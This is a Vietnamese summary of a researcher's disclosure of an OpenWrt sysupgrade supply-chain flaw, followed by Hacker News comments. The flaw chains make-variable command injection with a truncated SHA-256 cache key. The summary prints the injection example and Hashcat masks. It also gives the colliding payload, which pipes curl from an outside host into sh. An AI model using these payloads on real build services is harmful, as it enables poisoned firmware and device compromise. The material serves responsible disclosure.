2 điểm bởi GN⁺ 2024-12-10 | 1 bình luận | Chia sẻ qua WhatsApp
  • Tính năng nâng cấp qua web Attended Sysupgrade của OpenWrt được thiết kế để tạo firmware trên máy chủ build trực tuyến, và khi kết hợp chèn lệnh với va chạm SHA-256 bị cắt ngắn, hệ thống có thể trả về kết quả build sai cho một yêu cầu hợp lệ
  • Giá trị packages của yêu cầu được truyền vào biến PACKAGES= của make manifest, và do đặc tính mở rộng biến của make, kẻ tấn công có thể thực thi lệnh tùy ý bên trong container ImageBuilder
  • Hàm băm của danh sách gói không dùng toàn bộ SHA-256 mà chỉ lấy 12 ký tự đầu, tức 48 bit, làm khóa cache nên các danh sách gói khác nhau có thể tạo cùng một hash yêu cầu
  • Nhà nghiên cứu đã dùng Hashcat đã chỉnh sửa và RTX 4090 để đạt tốc độ khoảng 18 tỷ hash mỗi giây, và xác minh thành công việc ghi đè đầu ra .bin của ImageBuilder bằng payload chèn lệnh có va chạm
  • Sau khi nhận báo cáo lỗ hổng riêng tư, đội ngũ OpenWrt đã tạm dừng sysupgrade.openwrt.org và triển khai bản sửa lỗi trong vòng 3 giờ, nhưng không thể xác định liệu đã có khai thác trước đó hay chưa

Cấu trúc build firmware trực tuyến của Attended Sysupgrade

  • Giao diện web LuCI của OpenWrt có Attended Sysupgrade, và tính năng này dùng dịch vụ trực tuyến để build firmware mới
  • Dịch vụ build chạy tại sysupgrade.openwrt.org, và khi người dùng chọn thiết bị đích cùng các gói mong muốn, hệ thống sẽ tạo một ảnh firmware mới
  • Khi gửi yêu cầu nâng cấp, OpenWrt phía người dùng gửi cho máy chủ các thông tin sau
    • kiến trúc đích
    • profile thiết bị
    • các gói đã chọn
  • Dựa trên thông tin này, máy chủ build ảnh firmware rồi trả lại cho thiết bị OpenWrt, và thiết bị sẽ flash ảnh nhận được
  • Nếu máy chủ build ảnh từ các gói do người dùng cung cấp không được cô lập đầy đủ, kết quả build được áp dụng trực tiếp lên thiết bị sẽ trở thành bề mặt tấn công chuỗi cung ứng

Chèn lệnh thông qua giá trị PACKAGES

  • Máy chủ sysupgrade.openwrt.org là một dự án mã nguồn mở, và mã nguồn nằm tại openwrt/asu
  • Môi trường build chạy trong container được tạo bằng podman.containers.create, với các thiết lập như cap_drop=["all"], no_new_privileges=True, privileged=False
  • Lỗ hổng phát sinh tại chỗ gọi make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • Target manifest của OpenWrt ImageBuilder lại truyền tiếp giá trị PACKAGES dưới dạng USER_PACKAGES="$(PACKAGES)"
  • make mở rộng biến trước khi thực thi lệnh, nên dù được bọc trong dấu nháy đơn thì giá trị do người dùng kiểm soát vẫn không được xử lý an toàn
    • Trong ví dụ Makefile, nếu chạy make var="'; whoami #" thì whoami vẫn được thực thi ngay cả khi nằm trong echo '$(var)'
  • Vì tham số packages của yêu cầu đi vào biến PACKAGES, kẻ tấn công có thể chèn lệnh vào giá trị trông giống tên gói để thực thi lệnh tùy ý bên trong container ImageBuilder
  • Dù container được cô lập với máy chủ, các tệp nhị phân được tạo ra ở bước sau vẫn được ký bằng khóa riêng, nên chèn lệnh này dẫn tới lỗ hổng chuỗi cung ứng

Khóa cache SHA-256 bị cắt xuống 12 ký tự

  • get_request_hash nối nhiều trường của yêu cầu build để tạo hash yêu cầu, và hash này được dùng làm khóa cache build
  • Danh sách gói không được đưa trực tiếp dưới dạng chuỗi mà kết quả get_packages_hash(build_request.packages) được đưa vào hash yêu cầu bên ngoài
  • get_packages_hash loại bỏ gói trùng lặp, sắp xếp rồi tính SHA-256 của chuỗi nối bằng dấu cách, nhưng chỉ trả về 12 ký tự đầu của kết quả
  • Tiền tố SHA-256 dài 12 ký tự tương đương 48 bit, với không gian khả dĩ là 2^48 = 281,474,976,710,656
  • Vì hash yêu cầu bên ngoài chứa hash gói đã bị cắt ngắn này, nếu tạo được va chạm hash gói thì các danh sách gói khác nhau vẫn có thể dùng chung một khóa cache
  • Kết quả là máy chủ có thể trả về đầu ra build sai cho yêu cầu gói khác

Tìm payload va chạm bằng Hashcat

  • Do không tìm được công cụ brute-force SHA-256 khớp một phần, tác giả tự viết chương trình OpenCL nhưng mất 10 giây để tính 100 triệu hash, gần tương đương tốc độ hash trên CPU
  • Sau đó, tác giả chỉnh sửa Hashcat để xuất hash ngay cả khi chỉ khớp 8 ký tự, rồi dùng một script nhỏ để kiểm tra va chạm 12 ký tự
  • Danh sách gói hợp lệ được lấy từ firmware-selector.openwrt.org, và SHA-256 của danh sách đó là 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • 12 ký tự đầu là 8f7018b33d94
    • Payload tấn công cũng phải có cùng tiền tố 12 ký tự này
  • Ban đầu, tác giả chạy mask dạng `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` trên RTX 4090, và đạt tốc độ khoảng 500 triệu hash mỗi giây
  • ?l sinh ra a-z, nên không gian 10 ký tự là 26^10 = 141,167,095,653,376, xấp xỉ một nửa của 2^48
  • Khi tăng mask lên 11 ký tự và chuyển vị trí mask ra phía trước lệnh, tốc độ tăng mạnh
    • Mẫu cuối cùng là `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Với mẫu này, Hashcat tính được khoảng 18 tỷ hash mỗi giây
  • Trong vòng 1 giờ, tác giả tìm thấy va chạm 12 ký tự sau
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • SHA-256 của chuỗi này là 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, có cùng 12 ký tự đầu với danh sách gói hợp lệ

Kết hợp hai lỗ hổng để trả về firmware sai

  • Khi gửi payload va chạm trong tham số packages, chèn lệnh sẽ xảy ra và script từ tmp.ryotak.net được thực thi
  • Script dùng để kiểm chứng đã chèn thêm mã vào /builder/scripts/json_overview_image_info.py để ghi đè đầu ra do ImageBuilder tạo ra
    • đọc danh sách tệp trong BIN_DIR
    • tìm tệp có tên kết thúc bằng .bin và ghi nội dung "test" vào đó
  • Do va chạm hash, máy chủ trả về đầu ra build đã bị ghi đè cho người dùng yêu cầu danh sách gói hợp lệ
  • Nếu bị khai thác, phương thức này có thể khiến người dùng nâng cấp lên firmware độc hại, dẫn tới xâm phạm thiết bị

Báo cáo và khắc phục

  • Lỗ hổng đã được gửi cho đội ngũ OpenWrt qua biểu mẫu báo cáo lỗ hổng riêng tư trên GitHub
  • Sau khi xác nhận vấn đề, đội ngũ OpenWrt đã tạm dừng dịch vụ sysupgrade.openwrt.org và bắt đầu điều tra
  • Bản sửa lỗi được triển khai trong vòng 3 giờ, và dịch vụ cũng được khởi động lại
  • Cả hai vấn đề đã được khắc phục, nhưng vì lỗ hổng đã tồn tại một thời gian nên không thể biết liệu người khác đã khai thác trước đó hay chưa
  • Đội ngũ OpenWrt đã phát hành thông báo để người dùng có thể kiểm tra và phát hiện khả năng thiết bị bị xâm phạm

Kết luận

  • sysupgrade.openwrt.org có thể bị xâm phạm bằng cách kết hợp chèn lệnh với va chạm SHA-256 bị cắt ngắn
  • Đây là một trường hợp tạo thành công đường tấn công chuỗi cung ứng bằng việc brute-force va chạm hash trong ứng dụng thực tế
  • Đội ngũ OpenWrt đã nhanh chóng sửa lỗi và thông báo cho người dùng, nhưng các dịch vụ build trực tuyến phải xử lý khóa cache và kiểm tra đầu vào một cách cực kỳ thận trọng

1 bình luận

 
GN⁺ 2024-12-10
Các ý kiến trên Hacker News
  • Lỗ hổng mà bài viết bỏ sót là việc chạy mã được tùy biến cho một người dùng cụ thể hoặc một thiết bị cụ thể sẽ trở thành bình thường hóa
    Không có kiểm chứng khả năng tái lập, và cũng không ai có cách xác nhận rằng dịch vụ build/tải xuống tùy biến này có tạo ra các bản build bị cài backdoor hay không
    Cần phải bảo đảm dùng các bản build như bản build xz-utils mà Andres Freund sử dụng, hoặc các bản build mà sau này các nhà nghiên cứu bảo mật có thể nhận được để kiểm tra xem phần mềm nguồn mở có implant chuỗi cung ứng hay không[1]
    Trước đây từng có một bài viết mô tả nỗ lực đã bị dừng lại của Mozilla nhằm công khai ghi lại các bản build phát hành trong Merkle tree[2] Google đã chỉnh lý phần triển khai build firmware Pixel, nhưng các ứng dụng được phân phối qua Google Play Store có vẻ vẫn dễ bị ảnh hưởng (trừ khi có log nào khác mà tôi không tìm ra)[3] Apple nhắm mục tiêu các bản build theo từng thiết bị riêng lẻ trong phân phối firmware và ứng dụng nhưng lại không có tính minh bạch build, nên về mặt minh bạch nhị phân trông còn tệ hơn Google
    Một ví dụ tốt là kho ebuild của Gentoo. Nó chứa checksum nguồn trong một kho Git/Merkle tree duy nhất, nên có thể vẫn là một trong những Merkle tree lớn nhất và phân tán rộng nhất trong phần mềm nguồn mở
    [1] Sau backdoor xz-utils, một số nhà nghiên cứu đã tiến hành quét tự động/bán tự động để tìm các tệp entropy cao không giải thích được, có thể chứa mã độc ẩn trong các bản build phần mềm nguồn mở. Với các bản build tùy biến theo từng người dùng/từng thiết bị, việc này là không thể trừ khi mọi bản build đều được công khai để phân tích về sau, kèm theo log công khai (Merkle tree) cho các bản build công khai đó
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • Ý tưởng hay và tôi cũng ủng hộ, nhưng cần nhớ rằng khả năng tái lập phụ thuộc vào tính quyết định
      Nhiều yếu tố đi vào pipeline build về bản chất là phi quyết định, vì các quyết định tại thời điểm biên dịch có thể khác nhau giữa các lần chạy. Ngay cả khi bỏ qua vấn đề flag cũng vậy; thực tế, mục tiêu của trình biên dịch tối ưu hóa gần như là như thế. Như nhiều dự án build tái lập đã phát hiện, bật tối ưu hóa thì khả năng tái lập gần như không được bảo đảm
    • Với Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      Theo tôi biết thì không có log tập trung, mà để cho nhà phát triển ứng dụng tự công khai khóa của họ hoặc log tệp minh bạch
    • Việc dùng một dịch vụ build như vậy ngay từ đầu chẳng khác nào nói rằng “tôi không phải mục tiêu đủ giá trị để bị tấn công có chủ đích”
    • Việc quét tự động/bán tự động để tìm các tệp entropy cao không giải thích được có thể chứa mã độc ẩn rất dễ bị né tránh. Chỉ cần phân tán entropy ra là được
    • Tôi nhớ nhóm minh bạch chứng chỉ của Google thực ra cũng đã thiết kế minh bạch firmware cho toàn bộ Linux chứ không chỉ Android
  • "".join cũng nguy hiểm không?
    Nếu ở dạng get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... thì dù chuyển ký tự giữa các trường liền kề, hash vẫn có thể giữ nguyên
    Ngay cả khi không chiếm quyền trực tiếp hệ thống, cũng có thể gây ô nhiễm cache bằng image lỗi hoặc dẫn dụ downgrade

    • Đúng. Vì lý do đã mô tả, khi hash nhiều đầu vào thì nên dùng HMAC
      Sửa: Không phải HMAC mà đúng ra nên gọi là hash tăng dần
  • Vì vậy nguồn mở không bao giờ có thể cạnh tranh với phần mềm đóng dành cho doanh nghiệp:
    Vì họ đã sửa trong 3 giờ thay vì bắt chờ bản vá 6 tháng, không cố kiện người báo cáo vấn đề, và cũng không chỉ đưa ra một mức giảm giá nhỏ để bảo bạn vứt thiết bị “lỗi thời” nhưng vẫn hoạt động tốt đi rồi mua sản phẩm mới

    • Ở đây nên làm rõ hơn rằng đó là lời mỉa mai. Vì tiếng Anh không phải tiếng mẹ đẻ của tôi nên ban đầu tôi đọc “they” là chỉ “phần mềm đóng dành cho doanh nghiệp”, và hiểu rằng OpenWRT là một lựa chọn nguy hiểm đã làm tất cả những việc được liệt kê
    • Đây chính là lý do tôi thích OpenWrt. Họ còn nhờ những người dùng trình đọc màn hình như tôi kiểm thử xem giao diện web có hoạt động đúng không
    • Nói vậy cũng đúng, nhưng OpenWRT có vẻ đã sửa lỗi cắt ngắn hash, còn chèn lệnh thì vẫn chưa sửa
      Hy vọng họ cũng có kế hoạch sửa chèn lệnh. Như bài viết nói, image được tạo ra sẽ được ký. Ngay cả khi không có chữ ký, đây vẫn là vấn đề thực thi mã từ đầu vào người dùng không đáng tin cậy. Và các lỗ hổng có thể móc nối với nhau, như trường hợp va chạm hash lần này
    • Tôi có một router buộc phải dùng vì ISP, nó có vài CVE từ mức tệ đến cực kỳ nghiêm trọng, và hầu hết đều đã tồn tại nhiều năm
      Có thể được đổi thiết bị, nhưng vẫn là cùng model. ISP hoàn toàn không quan tâm đến bảo mật và cũng không vá. Trong khi họ có quyền truy cập độc quyền vào router và còn có thể đăng nhập từ xa nữa, thật vô lý hết sức
    • Điều này chỉ khả thi với một số ít dự án nguồn mở có sự hỗ trợ từ doanh nghiệp và nguồn lực để sửa nhanh
      Ở phần lớn dự án nguồn mở, maintainer thường đã quá tải, hoặc đơn giản là không muốn sửa các vấn đề bảo mật
  • Trước hết, đây là một trường hợp công cụ vốn không được tạo ra cho mục đích đó nhưng lại là nguồn mở và được viết không có BuilderFactoryProvider, nên trong thời gian ngắn đã được điều chỉnh cho phù hợp với tác vụ
    Xin lỗi vì đây là chuyện đã được nói rồi, nhưng ngày nào điều này cũng khiến tôi rất khó chịu
    Nếu là một tập đoàn lớn thì có lẽ sẽ mất -1 năm để sửa. Vì họ sẽ chỉ kiện người đó, cố bắt giữ càng nhanh càng tốt, và tuyệt đối không phát hành bản vá
    OpenWrt sau khi nhận được thông tin đã gỡ dịch vụ không an toàn xuống; người dùng nhờ việc tắt dịch vụ trước đó đã ở trạng thái an toàn khi báo cáo được xác minh; rồi họ tạo bản vá và phát hành trong 3 giờ. Thật ấn tượng

  • Tôi tò mò không biết mọi người nghĩ ra ý tưởng cắt ngắn hash như thế nào. Mục đích hay lợi ích là gì?

    • Hàm hash bị cắt ngắn không dễ bị tấn công mở rộng độ dài. Tuy nhiên thường người ta dùng SHA-512 rồi cắt xuống 256 bit. Theo tiêu chuẩn hiện nay, ngắn hơn mức đó thì khó coi là an toàn
    • Có trường hợp làm vậy để khớp với giới hạn độ dài đã tồn tại trong công cụ hoặc cơ sở dữ liệu cũ. Hoặc khi dùng hash không phải để kiểm tra tính toàn vẹn mà chỉ như một định danh vị trí đơn giản
      Tôi không nghĩ đó là thực hành tốt, nhưng thực tế mọi người vẫn thỏa hiệp
    • Theo commit, họ làm vậy để giảm độ dài tên file tải xuống và URL
    • Cũng có khi dùng khi cần payload nhỏ hơn
      Theo câu trả lời của @Reid trong [2] và @ThomasPornin trong [3], ý tưởng cắt ngắn hash cũng được NIST hoàn toàn ủng hộ. Thực tế SHA-224 là SHA-256 được cắt ngắn, còn SHA-384 là SHA-512 được cắt ngắn
      https://security.stackexchange.com/a/97389
    • Làm vậy khi nâng cấp từ SHA-1 lên SHA-256 nhưng không muốn thay đổi định dạng dữ liệu dùng cho kiểm tra tính toàn vẹn hoặc lưu khóa
  • Bài viết hay. Tôi hơi ngạc nhiên là để tìm một collision ngắn như vậy lại cần lượng tính toán GPU đến mức đó, nhưng xem phần triển khai thì rất thú vị
    Liên quan đến phần cuối, 40.000 USD cho một tháng phân tích bảo mật có phải là mức giá hợp lý không? Nếu vậy thì một nhà nghiên cứu bảo mật giỏi kiếm khoảng 500.000 USD mỗi năm à?

    • Ý là một công ty nghiên cứu bảo mật tốt có thể tạo ra doanh thu 500.000 USD chỉ với một nhà nghiên cứu xuất sắc. Nhưng họ phải có đủ việc để người đó hoạt động 100% công suất. Nếu tính cả nghỉ phép có lương thì thực tế còn ít hơn
    • Theo tôi thì mức đó khá hợp lý. Các công ty pentest tôi từng làm việc cùng trước đây cũng tính phí cỡ đó, trong khi chỉ chạy mấy lượt quét nmap/metasploit lười biếng rồi đóng gói thành một file PDF trông có vẻ thuyết phục
    • Trong thời kỳ hậu LLM, một giờ tính toán trên 4090 không hẳn là “nhiều đến thế”, mà gần với “thậm chí còn ít” hơn. Có thể làm với dưới 1 USD
    • 2^(12*4) nghĩa là có 281.474.976.710.656 chuỗi 12 ký tự khả dĩ, nên việc có thể quét chừng đó trong vòng một giờ thật sự ấn tượng
  • Việc hiệu năng hashcat khác nhau tới vài bậc độ lớn tùy theo thứ tự tham số là sao nhỉ? Mỗi lần chạy nó có quét mẫu mục tiêu trong dòng tham số không?

    • Có thể giống như mở khóa, bắt đầu từ bên trái rồi xem có thể đi tiếp không hoặc loại bỏ phỏng đoán đó. Khi đó nếu đặt “các lựa chọn” ở phía trước thì không cần tạo lại mỗi lần. Cũng có thể vì lý do nào đó nó không cache, hoặc không thể cache tiền tố
      Hoặc như khi đếm số
      100000000000
      010000000000
      110000000000
      001000000000
      có thể cấu trúc là phần lớn biến động xảy ra ở bên trái, còn thay đổi bên phải thì hiếm khi thấy. Sẽ thú vị nếu có ai biết hashcat trả lời. Tôi chỉ đang ném ra suy đoán thôi
  • Quá trình tấn công được viết rất tốt và dễ theo dõi